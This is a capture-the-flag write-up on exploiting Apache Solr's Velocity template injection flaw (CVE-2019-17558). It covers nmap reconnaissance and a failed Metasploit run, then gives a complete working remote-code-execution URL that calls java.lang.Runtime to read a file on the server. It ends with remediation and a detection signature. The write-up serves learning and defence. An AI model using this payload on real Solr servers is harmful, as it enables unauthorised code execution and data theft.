Apache Solr RCE (CVE-2019-17558) - CTF Write-up

Practical exploitation of a Velocity Template Injection vulnerability in Apache Solr, progressing from a failure in an automated tool (Metasploit) to a successful manual exploitation.

This write-up documents the complete reasoning of the exercise, focusing on diagnosing the tool failure and pivoting to manual exploitation.

Scenario

1. Reconnaissance

The initial phase consisted of identifying active services on the target host.

nmap -sV -p- <TARGET_IP>

Results.

• Port 8983/tcp open.
• Service identified as Apache Solr.
• Core identified via web panel, novacollection.

2. Vulnerability Analysis

Upon accessing the administrative panel, it was confirmed that the Solr version was vulnerable to Velocity Template Injection.

The flaw occurs when the attacker is able to change the params.resource.loader.enabled configuration to true, which allows the use of custom Velocity templates and, from there, the execution of arbitrary Java code on the server.

3. Automated Exploitation (Metasploit)

Initially, the exploit/multi/http/solr_velocity_rce module was used.

The exploit successfully changed the Solr configuration.

[+] params.resource.loader.enabled is true for core 'novacollection'

However, the final payload injection stage failed with a Ruby execution error.

NoMethodError: undefined method 'body' for nil:NilClass

This indicated that, although the environment was vulnerable and already prepared, the tool could not process the server's response to complete the attack. The target was not secure; only the module's delivery method needed adjustment.

4. Manual Exploitation

With Velocity Writer already enabled by Metasploit, the injection was performed manually via an HTTP GET request, bypassing the script error. The Velocity template was built to instantiate java.lang.Runtime and execute the command to read the target file.

http://<TARGET_IP>:8983/solr/novacollection/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27cat+/home/favorite_book.txt%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

Command actually executed on the server.

cat /home/favorite_book.txt

5. Result

The injection was successful and the file's contents were returned directly in the HTTP response body, rendered in the browser, allowing the flag to be captured.

Lessons Learned

• Tool limitations. Automated scanners and exploits can fail due to environment peculiarities or bugs in the module itself.
• Foundational knowledge. Understanding how CVE-2019-17558 works is what allowed pivoting from a tool failure to a successful manual attack.
• Persistence. The NoMethodError did not mean the target was secure, only that the delivery method needed adjustment.

Remediation

• Update Apache Solr to a patched version (8.4 or later).
• Ensure that params.resource.loader.enabled remains disabled.
• Restrict access to port 8983 to trusted networks only, never exposing Solr directly to the internet.
• Monitor requests to the select endpoint with wt=velocity parameters, useful as a detection signature in SIEM.

References

• CVE-2019-17558 (NVD and official Apache Solr documentation).

Disclaimer

This repository was created for educational purposes and to document learning in a controlled environment (CTF). Do not use these techniques against systems without explicit authorization.